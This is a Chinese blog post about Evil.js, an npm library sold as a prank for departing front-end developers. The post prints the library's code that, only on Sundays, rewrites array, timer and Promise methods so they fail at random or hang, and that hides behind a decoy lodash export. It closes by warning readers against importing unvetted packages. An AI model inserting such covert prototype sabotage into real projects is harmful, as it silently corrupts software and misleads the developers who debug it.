美文网首页
一个针对离职前端的NPM库

一个针对离职前端的NPM库

作者: 涅槃快乐是金 | 来源:发表于2022-08-19 23:18 被阅读0次

背景

今天在群里面看到一个图

说这个Evil.js是为了让你离职前不删库跑而诞生的

他会让你的项目在周日的时候出现以下神奇的效果:

  • 当数组长度可以被7整除时,Array.includes 永远返回false。
  • Array.map 有5%概率会丢失最后一个元素。
  • Array.filter 的结果有5%的概率丢失最后一个元素。
  • Array.forEach 会卡死一段时间。
  • setTimeout 总是会比预期时间慢1秒才触发。
  • Promise.then 有10%概率不会触发。
  • JSON.stringify 有30%概率会把I(大写字母I)变成l(小写字母L)。
  • Date.getTime() 的结果总是会慢一个小时。
  • localStorage.getItem 有5%几率返回空字符串。
  • Math.random() 的取值范围改为0到1.1

这样你的公司项目在周日的时候便会出现意想不到的神奇效果。

我们来看看他是如何实现的

源码地址:https://github.com/wheatup/ev...

大概只有150行

源码大概的一个结构是:

const lodash = typeof require !== 'undefined' ? require('lodash') : {};

((global)=>

//do something
})((0, eval)('this'));

var _ = lodash;
if (typeof module !== 'undefined') {
    // decoy export
    module.exports = _;
}

主要业务逻辑都是在IIFE中。

首先IIFE中会判断当前是否周日

    // 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现
    // Skip if it's not Sunday
    if (new Date().getDay() !== 0) return;

通过重写数组的原型链上方法,includes方法当数组长度可以被7整除时,永远返回false

/**
     * If the array size is devidable by 7, this function aways fail
     * @zh 当数组长度可以被7整除时,本方法永远返回false
     */
    const _includes = Array.prototype.includes;
    const _indexOf = Array.prototype.indexOf;
    Array.prototype.includes = function (...args) {
        if (this.length % 7 !== 0) {
            return _includes.call(this, ...args);
        } else {
            return false;
        }
    };
    Array.prototype.indexOf = function (...args) {
        if (this.length % 7 !== 0) {
            return _indexOf.call(this, ...args);
        } else {
            return -1;
        }
    };

5%的几率让map方法丢失一个元素

/**
     * Array.map has 5% chance drop the last element
     * @zh Array.map方法的结果有5%几率丢失最后一个元素
     */
    const _map = Array.prototype.map;
    Array.prototype.map = function (...args) {
        result = _map.call(this, ...args);
        if (_rand() < 0.05) {
            result.length = Math.max(result.length - 1, 0);
        }
        return result;
    }

forEach方法会卡死一段时间(通过for循环阻塞)

/**
     * Array.forEach will will cause a significant lag
     * @zh Array.forEach会卡死一段时间
     */
    const _forEach = Array.prototype.forEach;
    Array.prototype.forEach = function(...args) {
        for(let i = 0; i <= 1e7; i++);
        return _forEach.call(this, ...args);
    }

最骚的是这个,Promise.then方法10%概率不会触发

/**
     * Promise.then has a 10% chance will not trigger
     * @zh Promise.then 有10%几率不会触发
     */
    const _then = Promise.prototype.then;
    Promise.prototype.then = function (...args) {
        if (_rand() < 0.1) {
            return new Promise(() => {});
        } else {
            return _then.call(this, ...args);
        }
    }

这简直会让你的项目无法开发和维护,无法定位问题。.then方法是整个ES6的异步核心API

结论

我们不要随便引入一个npm库,他如果修改原型上的方法可以做到攻击甚至有安全隐患。

相关文章

  • 一个针对离职前端的NPM库

    背景 今天在群里面看到一个图 说这个Evil.js是为了让你离职前不删库跑而诞生的 他会让你的项目在周日的时候出现...

  • 2018-09-25 axios

    vue ajax 前端页面和后台数据进行交互 jsonvue 库下载:npm install axio...

  • Vue axios

    vue ajax 前端页面和后台数据进行交互 jsonvue 库下载:npm install axio...

  • 实现一个自己的日志处理库并发布到npm

    前言 不折腾的前端不是一个好的前端,最近在搭建公司内部工具以及组件库,使用npm进行管理,所以学习一下如何创建一个...

  • antd

    针对于react的UI组件库 下载 npm install antd-mobile@next --save imp...

  • VUE使用Print.js打印指定区域页面

    print.js官方链接 npm安装 npm安装时将库导入项目 在Vue方法中申明方法 前端实现 注意事项 打印内...

  • 伪全栈假前端之路 - Vue.js篇

    一、伪全栈假前端的定义 在做好数据库设计,后台开发,前端接口之余,不用学node,npm,webpack等,只要会...

  • 浅谈前端js面试--开发环境-模块化--commonjs

    nodejs模块化规范,现在被大量用前端,原因:效率高,简洁 前端开发依赖的插件和库,都可以从npm中获取 构建工...

  • 发布自己的npm包

    对于前端来说,npm install xx 这个命令是用的比较多的,一般需要引用第三方库/UI库,动能插件的时候需...

  • 前端工程化 - npm

    前端工程化 - npm 什么是npm npm的全称Node Package Manager,npm原先只是作为no...

网友评论

      本文标题:一个针对离职前端的NPM库

      本文链接:https://www.haomeiwen.com/subject/evkpgrtx.html